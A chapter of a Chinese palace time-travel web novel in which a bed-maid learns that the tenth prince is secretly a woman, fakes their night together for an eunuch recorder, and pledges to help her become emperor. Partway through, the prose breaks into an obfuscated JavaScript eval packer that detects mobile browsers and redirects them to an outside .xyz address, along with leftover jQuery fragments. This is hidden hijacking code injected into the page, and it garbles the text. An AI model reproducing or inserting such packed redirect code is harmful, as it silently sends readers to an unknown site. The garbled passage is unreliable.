皇后让她们今晚去皇子处的消息来的实在是突然,各太监宫女们到教习司时,季竹心还在用着午膳。
嘴里面条还没咽下去,季竹心便被拉着去梳洗打扮了。
刚吃完饭其实是不能洗澡的,但她们身份低微,也无人在意此事。
季竹心在浴桶中泡了快半个时辰,差点晕倒在浴桶中。
浸没到胸前的热水和不断上泛的水蒸汽熏得她胸闷气短,季竹心只觉得脑袋昏昏,要不是在旁边添水的宫女注意到异样,她今日怕真要命丧浴桶了。
季竹心从来没想过,梳洗打扮竟然是这么累人的事。
从中午到日暮,她不知道身上被涂了多少东西,也不知道脸上抹了几层腻子。她只知道,当梳洗结束的时候,连在旁边帮忙的宫女都长长地舒了口气。
季竹心好奇地看向铜镜中的自己,却发觉脸上竟毫无化妆的痕迹。
这张脸和她穿越前其实是一模一样的,除了更稚嫩一些。但当时刚到洛阳城时,她的脸色还是蜡黄的,可现在看来,却如同剥了壳的鸡蛋般白嫩水灵。
皇家保养秘术的神奇之处就在于,它能让人在五官没有改变的情况下,美貌更上一层。
“姑娘,更衣吧。”旁边的宫女提醒道。
“好……”季竹心收回继续臭美的心思,转而将目光放到了接下来要穿的衣服上。
然而,就当宫女将衣服拿来时,季竹心傻眼了。
这什么呀?!
宫女送来的衣服可以说是“简单”至极,内里一件肚兜,下身一件裈裤,外面便是一件只能起到装饰作用的纱衣。
季竹心知道自己现在这个身份的使命是什么,可直接穿的这么便利去皇子处也有些太尴尬了吧……
到时候要是情况紧急,这衣服会不会束手束脚的?
万一没能一击将十皇子打晕怎么办?
季竹心踟蹰不前,旁边宫女看出了她的犹豫,以为她是担心等会儿怎么出去,便又从旁边拿出来一件披风,劝慰倒:“姑娘莫担心,出发时各位姑娘还会再系上一件披风的。”
季竹心尴尬一笑,对这位好心的宫女姐姐点头致谢。
司寝宫女陆陆续续都打扮完成,接下来就是太监们将她们送去各皇子的宫殿。
季竹心坐在小轿中,由两个太监抬着,晃晃悠悠地向十皇子顾询墨所在的宫殿赶去。
十皇子不受皇帝关注,因此宫殿也偏远了些,几人东走西绕,可算到达了住处。抬轿子的太监早累的直喘粗气了,但面上仍是友善地对着季竹心笑了笑,恭敬地请她下轿。
太监们是得了皇后的命令的,决不能被人抓住了把柄,最后被皇后娘娘问责。内心再不情愿,面上也只能腆着笑脸迎合。
两个抬轿的小太监在外等候,而季竹心和另一位专门记录皇子起居的公公一同走了进去。
十皇子殿里的宫人数量不多,因此季竹心和公公进去的时候,只看到十来个宫人在外候着。
见两人进来,为首的大宫女忙迎上前来,向公公手里塞了几片金叶子。
公公瞬间喜笑颜开,两人说了几句场面话,互相恭维几句后,公公才将话头扯到了十皇子身上:
“怎不见十皇子殿下?”
“回公公,殿下正在用晚膳,想来还得再等些时辰,才能来见您呢。不如……您先去偏殿坐会儿歇歇脚?想必走了这么远路也累了……”
“不必!咱家奉皇后娘娘之命而来,怎可怠慢,咱家就在此处等候便可。”
大宫女也不敢得罪公公,只得示意宫人赶快去喊十皇子。
她自然知道十皇子并不是在用晚膳,只是在躲司寝宫女。
但大宫女还有一事不明,为何十皇子要躲司寝宫女呢?
她的疑问无人能解答,但眼前的情况已经不容多想,当务之急就是将十皇子带来。否则万一公公明日的一句话,殿下倒是无事,她们这些宫人怕要被问责了。
顾询墨磨磨蹭蹭地从偏院走了过来,她本以为今日只要躲一躲,躲过今晚就好了,谁知道还有公公专门来盯梢。
她一边向着正殿走去,内心也在不断想着对策。
得了催促的宫人不敢怠慢,领着十皇子走得飞快,而在思考中的顾询墨也没空顾及外界情况,下意识地便跟上了宫人的脚步。
等到了正殿时,顾询墨才清醒过来。
糟了!走太快了,还没想到对策!
她只能硬着头皮对着公公寒暄了几句,公公也没计较许多。
他今日本就是专程记录的,十皇子早些来晚些来都一样,他反正也得在寝殿偏房里等到天明。
见十皇子来得及时,公公便和蔼地对她笑了笑,催促她赶快进去。
于是,顾询墨与季竹心两人相携而入,在外的宫人们也识趣地散去,只留一个在外值夜的小太监在殿外。
殿内,季竹心与顾询墨两人相顾无言。
正殿偏房的公公已经摊开了记录册,研磨好了墨,只等记录。听见两人毫无动静,只能扬声提醒道:
“殿下,姑娘,该安寝了。”
季竹心想起之前的猜测,她本想直接打晕了顾询墨验证一下猜想,谁知顾询墨听到提醒后呆愣在原地,也不知道在想些什么。
眼见她毫无反应,季竹心便直接伸手摸了上去,果然,顾询墨身下空无一物。
“诶你……你你你干……干什么?!”顾询墨只觉得头皮发麻,说话也磕巴了起来。
听到动静的公公了然一笑,知道自己不需要再做提醒了,便安然等待起来。
意识到自己的猜测成真,季竹心也松了口气。
见顾询墨脸红到了耳根,说话也磕巴,季竹心好笑的同时,想到了自己要完成的系统任务,便凑到她耳边轻声道:
“我早就猜到您很可能是女子,所以才选了殿下您……”
“那你……”顾询墨意识到自己声音有点高,连忙压低声音,“你是怎么猜到的,为何猜到后还要选我?”
“这就说来话长了,明日和你细讲,现在先应付过去……”
顾询墨不知道该怎么应付,但季竹心可是知道的。她在现代社会生活了20多年,也谈过几个对象,对这事怎么可能一点不清楚。
她立刻捏着娇柔的嗓音,用公公能听到的音量对着顾询墨撒娇起来。
偏房的公公不疑有他,公式化地开始记录。
很快,殿内响起床板的咯吱声,以及两人沉重的喘息声。
而实际情况却是,季竹心和顾询墨奋力摇动着比她们大一倍的床,努力让它发出咯吱声。
中途两人象征性地叫了几次水,直到天光微亮,确认两人已经成事的公公离开后,她们才累得瘫倒在床上。
季竹心和顾询墨相视一笑,听到公公的脚步声走远,季竹心才放下心来。
都说一起干坏事会瞬间拉近人与人的距离,连顾询墨都没了原先的阴郁,转而好奇地询问其季竹心的目的:
“你还没说呢,你为何要选我啊?”
她原本是害怕的,她怕眼前的女孩会告密,可转念一想,若女孩要去告密,昨日又何必与她解释?
思量过后,顾询墨心下也不再忐忑。
季竹心故作高深:“因为……数日前,我曾做过一场梦,那梦中人指引我去一处偏远的宫殿,说是那里会有未来的真龙天子,于是第二日我便立刻溜出去,没想到遇到了十殿下您。”
“可……”顾询墨想说自己是女子,怎么可能是真龙天子,季竹心却继续忽悠道:
“那梦中人还说‘真龙天子以女子之身开创日后百年盛世’,所以我才怀疑殿下您的身份,今日一见果然如此。”
顾询墨还是怀疑,毕竟她的身份、地位,都比不上其他皇子,又怎么可能就是下一任的皇帝呢?
可被季竹心这么一说,她心中也燃起一丝隐秘的渴望。
她真的能以女子之身称帝吗?
“那,我该怎么做呢?”
“……”
季竹心也沉默了,她只知道先去选择一个想辅佐的皇子,可选择的皇子现在没什么声望值,似乎暂时也没办法得到系统的帮助……
只能先走一步看一步了。
“眼下,先出宫吧”
季竹心干巴巴地提出了建议,顾询墨也沉默了片刻。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855627|159355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她知道自己确实没什么依仗,但季竹心这个提议无疑是在她好不容易燃起的斗志上浇上了一盆水。
可她还是很感激季竹心今日所言,被激起来的渴望是无法轻易平息的。
她也想通了,若不去试试,怎么知道自己不行呢?
若季竹心所言就是真的呢?若她最后真的能当上皇帝呢?
天光大亮,季竹心也到了要回去汇报的时辰。
“行了,我得先回去汇报了”
季竹心打了个哈欠,从床上爬起身,系上了昨晚放置在衣架上的披风。
随后又从怀中扯出了贞|洁帕,拿起桌边剪烛台的剪刀,便往手臂内侧划了一刀。
见几滴血液滴在了白布上后,季竹心才捂住伤口,转向顾询墨的方向:
“记得去皇后那里请安的时候说我点好话嗷”
顾询墨被季竹心行云流水的动作和理所应当的语气镇住了,反应过来后才呆愣的点头。
季竹心被眼前小姑娘呆愣的模样可爱到了,她走回顾询墨身边,抬手揉了揉小姑娘的脑袋,才叮嘱道:
“你若不开口要我,我就得在皇宫之中待到年华老去了,所以一定要带我走哦?”
“嗯嗯,我知道的。”
“叮!检测到宿主[啥玩意儿]已选择任务目标,请上线后再次确认。”
系统声音突然出现,季竹心被吓了一跳。但好在她已经习惯了这系统的神出鬼没,很快便平复了心情。
她用意念点击了‘是’的选项,随后便听系统再次播报:
“叮!检测到宿主[啥玩意儿]已确认任务目标,终极任务正式开启,系统手册将会持续更新,此后系统将不再播报任务进程,请宿主自行查看,祝生活愉快!”
之前系统总是时不时来个闪现,每次她都会被吓得一激灵,实在是被吓怕了。
听见系统说日后都不会再播报,她心情瞬间明媚,连带着去教习司的路上,都忍不住哼起了小曲儿。
轿外的小太监听到季竹心的哼哼,也不由得跟着高兴起来。
姑娘高兴了,就意味着皇子对她是满意的。
他们这些办事的太监们,自然也能得到皇后娘娘的赏赐,怎能不高兴呢?
小轿如同来时一样,东绕西绕晃晃悠悠地回到了教习司。
下轿后,季竹心才发现众人都已到齐了。季竹心去的宫殿离这最远,自然也是最后一个到的。
见所有人都到了,教习姑姑才招呼各位姑娘进殿汇报。季竹心下意识便走到了方潼身边,与她一同向殿里走去。
季竹心仍按照过去的座位落座,坐定后她才观察起了方潼。
见她脸色苍白,唇上也是毫无血色,季竹心有些担忧:
“很难受?”
方潼点点头,也不似往日那般活泼了。
季竹心又环顾四周,才发现大家几乎都是萎靡不振的模样,她才意识到自己今天表现的太过正常。
于是,她立刻低头保持沉默。
教习姑姑检查了每个人的贞|洁帕后,才面带笑意恭喜起众人。
但在下面听着的季竹心心里颇不是滋味。
她从现代来,实在是无法理解这里的制度。
十五六岁本该是天真烂漫的年纪,却要承受这个年纪不该承受的任务。甚至第二日回到这里,迎接她们的竟然不是关心和安慰,只是例行检查。
确认她们完成了任务后,便向她们送出祝贺,祝贺她们被当做礼物送出去了,也顺利被皇子接受了,却没有人关心她们面色苍白是不是不舒服。
汇报完毕后,教习姑姑便吩咐她们该收拾的收拾收拾行李,随后着急忙慌地去往皇后那里。
她的任务完成了,但这些女孩的归宿还掌握在那些皇子口中。
若哪个皇子不满意,她们就得被留在宫中。
她们身份特殊,若皇子不满意,即使她们到了25岁,也无法放出宫去,只能在宫中熬到死。
季竹心无力去改变这样的现状,现在她自己都还在挣扎求生。她只能寄希望于以后,希望她能顺利完成任务,希望日后世道对女子的压迫少一些……